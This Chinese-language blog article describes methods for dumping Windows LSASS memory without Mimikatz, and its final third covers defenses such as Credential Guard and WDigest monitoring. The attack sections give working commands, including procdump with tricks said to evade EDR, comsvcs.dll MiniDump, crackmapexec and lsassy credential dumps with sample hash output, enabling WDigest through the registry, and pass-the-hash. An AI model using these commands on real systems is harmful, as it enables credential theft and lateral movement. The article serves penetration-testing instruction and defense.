Dumping LSASS With No Mimikatz

2022-09-07 16:50:05 浏览数 (3)

文章前言

Mimikatz是渗透测试中常用的知名工具,它主要用于从Windows上的内存中转储凭据,作为渗透测试人员此方法对于Windows Active Directory环境中的横向和纵向权限提升非常宝贵,并且几乎用于所有内网渗透测试,由于其受欢迎程度,Mimikatz可执行文件和PowerShell脚本已被大多数防病毒(AV)解决方案检测到,这篇文章将介绍几种替代方法来实现相同的目标而无需修改Mimikatz来躲避AV的查杀,以及一些预防和检测这种攻击的方法

WIN认证

Windows和Active Directory身份验证机制相当复杂,其内部工作的细节超出了本文的范围,但是以下主题对于理解为什么Mimikatz等工具在被攻击者或渗透测试人员使用时对公司的安全如此有效和破坏性至关重要:

LSASS

本地安全机构子系统服务(LSASS)是Microsoft Windows上处理所有用户身份验证、密码更改、访问令牌创建和安全策略实施的进程,这意味着该过程存储多种形式的散列密码,在某些情况下甚至存储明文用户密码

WDIGEST

旧版本的Windows Server中使用了WDigest身份验证,并将明文密码存储在内存中,由于Microsoft非常注重向后兼容性,因此在Windows 8和Windows Server 2012 R2之前的Windows操作系统上默认情况下会启用此身份验证方法,更糟糕的是它实际上被用作域身份验证过程的一部分,这意味着在任何时候,网络上的用户使用RDP远程访问计算机、SMB对文件共享进行身份验证,或者在启用WDigest时将密码物理输入控制台,他们的明文凭据都存储在LSASS进程的内存空间中,攻击者都可以提取这些凭据。

虽然Windows 7和Server 2008现在已失去扩展支持,应尽可能停用,但许多组织仍有很大比例的工作站和服务器安装在这些旧版本的Windows操作系统上,这使得他们成为攻击者Mimikatz式LSASS Dumping的主要目标

Dump LSASS的必要条件

攻击者为了转储LSASS,必须具有SEDebugPrivilege,默认的Windows设置是将此权限授予本地管理员,但这可以通过使用"whoami"命令进行验证:

代码语言:javascript复制
whoami /priv

其次需要注意的是,在现代计算机上Windows Defender将杀死任何试图转储LSASS的PowerShell进程,因此使用CMD或.net工具非常重要,而不是PowerShell

下面是用于转储LSASS的方法列表,其中有几种方法是创建内存转储文件,而不是输出哈希值/密码,之后可以使用Mimikatz或Pypykatz是提取凭据

实例A:MIMIKATZ处理LSASS内存转储文件

如果您在Windows机器上进行主要测试,那么这是一种很好的方法,否则您必须将转储文件复制到Windows机器上才能运行Mimikatz,确保在您使用Mimikatz的计算机上为Windows Defender创建一个例外文件夹,否则Defender将隔离您的Mimikatz可执行文件,运行Mimikatz并使用以下命令从LSASS转储文件中提取凭据:

代码语言:javascript复制
sekurlsa::minidump lsass.DMP
log lsass.txt
sekurlsa::logonPasswords

实例B:PYPYKATZ处理LSASS内存转储文件

如果您在Linux机器上进行主要测试,Pypykatz是一种很好的方法,可以加快从转储文件中提取凭据的过程,因为您不必启动Windows虚拟机并为Mimikatz复制转储文件,使用以下命令使用Pypykatz提取凭据:

代码语言:javascript复制
pypykatz lsa minidump lsass.DMP 

攻击手法

上面我们已经介绍了处理LSASS内存转储文件的方法,下面是一些从Windows机器中创建这些转储文件的方法

任务管理器(GUI)

如果您对设备具有远程桌面(RDP)或其他GUI访问权限,则可以使用Windows任务管理器创建转储文件,默认情况下Windows Defender不会对此发出警报,因此它是一个非常可靠的选项,但是这种方法的缺点是扩展性不好,速度相对较慢

从任务管理器中转到"详细信息"选项卡,找到lsass.exe,右键单击,然后选择"创建转储文件":

这将在用户的AppDataLocalTemp目录中创建转储文件:

现在您需要一种将转储文件获取到本地计算机的方法,如果从Linux使用RDP,xfreerdp是一个很好的选择,因为您可以使用以下语法自动装载共享驱动器以复制文件:

代码语言:javascript复制
xfreerdp /v:IPADDRESS /u:USERNAME /p:PASSWORD /d:DOMAIN /drive:SHARE,/path/shared

这将在远程访问的Windows计算机上创建共享驱动器名"HARE":

然后您可以使用Pypykatz从转储文件中提取任何存储的凭据和哈希:

PROCDUMP程序转储

Procdump是一个Windows系统内部工具,可用于创建进程的内存转储,这种方法的缺点是您必须将Procdump可执行文件复制到目标计算机,一些组织会警告该二进制文件是恶意的,这种方法也很慢,扩展性也不太好

创建LSASS内存转储的语法为:

代码语言:javascript复制
procdump.exe -accepteula -ma lsass.exe out.dmp

一些EDR解决方案将根据"lsass"进程名称对此发出警报或阻止,通常可以通过指定LSASS进程ID来绕过这一点

要通过PowerShell获取LSASS进程ID,请执行以下操作:

代码语言:javascript复制
PS C:Userstestadmin> get-process lsass
 
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
   1296      26     7148      51752               580   0 lsass

要通过CMD获取LSASS进程ID,请执行以下操作:

代码语言:javascript复制
PS C:Userstest> tasklist | findstr lsass
lsass.exe                      580 Services                   0     51,752 K

然后使用相同的procdump语法:

代码语言:javascript复制
procdump.exe -accepteula -ma 580 out.dmp

此外根据EDR的不同,只需在流程名称周围添加引号就足够了(例如:这里绕过了Cortex XDR):

代码语言:javascript复制
procdump.exe -accepteula -ma "lsass.exe" out.dmp

Comsvcs

此方法很有趣,因为它使用所有Windows计算机上的本机库:

代码语言:javascript复制
C:WindowsSystem32rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump [PID] C:tempout.dmp full

但是Windows Defender将发出警报并删除转储文件:

CRACKMAPEXEC

Crackmapexec是远程执行LSASS转储的优秀工具,该方法是我在内部渗透试验中倾倒LSASS的首选方法,它的扩展性非常好,您可以简单地指向整个子网或IP地址列表,并使用具有本地管理员访问权限的凭据:

代码语言:javascript复制
crackmapexec smb 192.168.0.76 -u testadmin -p Password123 --lsa
SMB         192.168.0.76    445    DC               [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC) (domain:test.lab) (signing:True) (SMBv1:True)
SMB         192.168.0.76    445    DC               [ ] test.labtestadmin:Password123 (Pwn3d!)
SMB         192.168.0.76    445    DC               [ ] Dumping LSA secrets
SMB         192.168.0.76    445    DC               TESTDC$:aes256-cts-hmac-sha1-96:5a0f8706487aae9bf38161a4608e7567ac1c4a105226b783ccbd98274c8d4018
SMB         192.168.0.76    445    DC               TESTDC$:aes128-cts-hmac-sha1-96:d8402dda8272520b01ba6b8dcfd9b3d8
SMB         192.168.0.76    445    DC               TESTDC$:des-cbc-md5:f45b2361ae1ad308
SMB         192.168.0.76    445    DC               TESTDC$:plain_password_hex:4e4545a05fe307150e0679cf4169caea359467422908fec7e82b6eb63d23dfa9cb180c4c3da62ff7ce1ab1396b1fa505300bed8d7a67e36b74ab9b25721756181c47850cf9dc220964ae7c50a104cfed776f5c1cb8865bb443d9d757cd90dc1dca063ba89776825f20d7d61b7debfb5339cd69dc3c3c81b0e81c6b74065d4456a6339991fd05a5e687cd8fd0f81562a3613f7094015ab82ca0e16fca01551fdef5f397f48664cb64801215b453d29c1034aca75242c3be6aa080dd6be94ca91f712db8c6d4ca6305ee47912fa5a11bc388388fde380c3d9a712d6c8fe36b50c3cdedc4cae98d75eb9561c0a8ec13a0da
SMB         192.168.0.76    445    DC               TESTDC$:aad3b435b51404eeaad3b435b51404ee:6e93dbc1944a24129c85324692f4687b:::
SMB         192.168.0.76    445    DC               dpapi_machinekey:0x974d7e0eab71f962c006ae631a67883cb65fbb8e
dpapi_userkey:0xcc3bd3a27097b37446adc6e7dc5023a3316e3a3e
SMB         192.168.0.76    445    DC               NL$KM:b4d3d7354eec7c5d18ca62845d33e65cdaf826db03b4bf401f2c3864fd56d271f908f8eefbf0d278675be217810199c6ce158550484b62fd6a280564bf305814
SMB         192.168.0.76    445    DC               [ ] Dumped 7 LSA secrets to /home/t/.cme/logs/DC_192.168.0.76_2021-07-22_122314.secrets and /home/t/.cme/logs/DC_192.168.0.76_2021-07-22_122314.cached

请注意这会将转储的哈希和明文密码存储到~/.cme/log/.

当您在许多机器上转储LSASS时,这使得检索变得很容易,CrackMapExec使用Impacket的secretsdump,Impacket下的Impacket’s用于dump LSASS

LSASSY

Lsassy是一个有趣的工具,它使用上述方法的组合来远程转储LSASS,默认命令尝试使用comsvcs,通过WMI或远程计划任务转储LSASS的dll方法:

代码语言:javascript复制
└─$ lsassy -d test.lab -u testadmin -p Password123 192.168.0.76
[ ] [192.168.0.76] TESTtestadmin  58a478135a93ac3bf058a5ea0e8fdb71[ ] [192.168.0.76] TESTtestadmin  Password123

此外Lsassy已集成到Crackmapexec中,只需NTLM哈希或纯文本凭据就可以获得非常清晰的输出,与"-lsa"方法不同的是此方法的缺点是它不会自动将结果存储在Crackmapexec logs目录中

代码语言:javascript复制
└─$ crackmapexec smb 192.168.0.76 -u testadmin -p Password123 -M lsassy
SMB         192.168.0.76    445    DC               [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC) (domain:test.lab) (signing:True) (SMBv1:True)
SMB         192.168.0.76    445    DC               [ ] test.labtestadmin:Password123 (Pwn3d!)
LSASSY      192.168.0.76    445    DC               TESTtestadmin 58a478135a93ac3bf058a5ea0e8fdb71
LSASSY      192.168.0.76    445    DC               TESTtestadmin Password123

在较新的计算机上启用WDigest

虽然在较新的计算机上禁用了WDigest,但攻击者有可能在用户登录后启用它,使其具有明文凭据,通过将必要的注册表项设置为"1"而不是"0",可以启用WDigest:

代码语言:javascript复制
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /d 1

需要注意的是作为渗透测试人员这会打开一个安全漏洞,并且可能不符合客户的最佳利益,这取决于他们的业务需要,要再次禁用WDigest,请将注册表项设置回"0":

代码语言:javascript复制
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /d 0

此外这可以通过Crackmapexec远程完成:

代码语言:javascript复制
└─$ crackmapexec smb 192.168.0.76 -u testadmin -p Password123 -M wdigest -o action=enable
SMB         192.168.0.76    445    DC               [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC) (domain:test.lab) (signing:True) (SMBv1:True)
SMB         192.168.0.76    445    DC               [ ] test.labtestadmin:Password123 (Pwn3d!)
WDIGEST     192.168.0.76    445    DC               [ ] UseLogonCredential registry key created successfully

通常除了针对性很强的攻击之外,没有必要启用WDigest,因为传递哈希仍然有效,CrackMapExec通过使用"-H"标志,使使用NTLM哈希进行横向移动变得非常容易:

代码语言:javascript复制
└─$ crackmapexec smb 192.168.0.76 -u testadmin -H 58a478135a93ac3bf058a5ea0e8fdb71
SMB         192.168.0.76    445    DC               [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC) (domain:test.lab) (signing:True) (SMBv1:True)
SMB         192.168.0.76    445    DC               [ ] test.labtestadmin 58a478135a93ac3bf058a5ea0e8fdb71 (Pwn3d!)

防御措施

那么防御此类攻击的最佳方式是什么呢?如上所述,使用具有基于特征的检测的EDR来阻止Mimikatz是不够的,您的公司可以做一些事情来帮助防止这些攻击,理想情况下,所有报废的Windows操作系统都应该退役并升级到当前支持的操作系统,较新的Windows操作系统默认禁用WDigest,有助于防止使用这些方法转储明文密码,然而对于某些组织来说,这并不总是可能的,攻击者仍然可以使用上述方法转储NTLM哈希,然后可以在传递哈希攻击中破解或使用NTLM哈希来执行横向移动,另一个重要的防御措施是尽可能限制本地管理访问,除了这两条一般规则外,以下是一些可以用来防止和检测这些攻击的方法

最佳防御措施概述:

  • 如果可能请停用所有报废的Windows操作系统
  • 尽可能限制本地管理访问
  • 在Windows 8和Windows Server 2012 R2之前的所有Windows操作系统上禁用WDigest
  • 启用Windows Defender凭据保护
  • 监视注册表更改,以确保未重新启用WDigest,并且未禁用Windows Defender凭据保护
  • 如果可能,发出警报并限制传递哈希

免责声明:应在您的环境中彻底测试这些更改,以确保它们不会造成任何负面影响

禁用WDigest

首先如果您有任何过时的Windows操作系统(在Windows 8和Windows Server 2012 R2之前),则在这些设备上默认启用WDigest,并应通过组策略禁用,可以通过安装Windows补丁KB 2871997并将以下注册表项设置为0来完成此操作:

代码语言:javascript复制
HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigestUseLogonCredential

此外如果注册表项设置为"1"或在环境中的任何位置启用,则应将此注册表项添加到监视解决方案中,并触发高严重性警报

禁用本地管理员SEDebugPrivilege

由于转储LSASS内存需要SEDebugPrivilege,因此为本地管理员禁用它在理想情况下将无法执行此攻击,然而本地管理员可以轻松地再次授予自己此权限,这使得此技术对于防止LSASS内存转储相对无用, 虽然可以很容易地绕过它但这种技术对于某些组织来说可能很有用,可以作为深度防御策略的附加层,帮助防止自动攻击

基于特征的检测和警报

除了在启用WDigest时发出警报外,许多EDR解决方案还将在基于常见名称创建转储文件时发出警报(即对以下名称发出弹性警报:"lsass*.dmp"、“dumpert.dmp”、“Andrew.dmp”、“SQLDmpr*.mdmp”、“Coredump.dmp”),此外一些EDR解决方案还将Procdump可执行文件标记为恶意,迫使攻击者使用其他转储方法

虽然通过更改转储文件的名称或使用procdump以外的工具很容易绕过这些类型的检测,但作为深度防御策略的一部分,它们可以很有用,以便使用具有默认设置的现成工具捕获懒惰的攻击者或恶意软件

禁用传递哈希

如果组织禁用WDigest并在重新启用WDigest时创建警报,则会迫使攻击者破解NTLM哈希或使用传递哈希技术,禁用或在传递哈希技术时发出警报会使LSASS转储攻击的效率大大降低,因为它将LSASS转储的攻击面减少到能够破解转储的NTLM凭据,禁用/阻止传递哈希技术是一个复杂的主题,本文将不作深入介绍,有关更多信息,请查看这些白皮书:

https://www.microsoft.com/pth

Windows Defender凭据保护

在Windows 10 Enterprise/Pro、Windows Server 2016和Windows Server 2019上,可以使用Windows Defender凭据保护为LSASS进程添加其他保护。这项技术在虚拟化容器中运行LSASS,防止访问所有用户,甚至是具有系统权限的用户,这实际上使得使用上述任何一种方法都无法卸载LSASS,因此应将其视为防止此类攻击和横向移动的黄金标准。特权用户可以禁用凭据保护,这意味着他们将来可以从登录中访问哈希,但是这不允许他们访问LSASS中已经存在的哈希。

有关启用和使用凭据保护的其他信息,请参阅以下链接:

https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage

文末总结

从LSASS获得横向移动的凭据是一种在今天仍然有效的战术,在内网渗透测试中我们经常看到许多旧Windows设备仍启用WDigest的环境,这使得这种策略更加危险,通常一旦在单个主机上实现了本地管理访问,转储LSASS将允许一系列横向移动,其中一组凭据被破坏,然后可以对另一个主机进行本地管理访问,其他凭据存储在其他地方具有本地管理的内存中,最终这通常会导致域管理员帐户受损,然后游戏就结束了,这就是为什么预防和检测这些方法对于作为防御者的系统管理员至关重要的原因

0 人点赞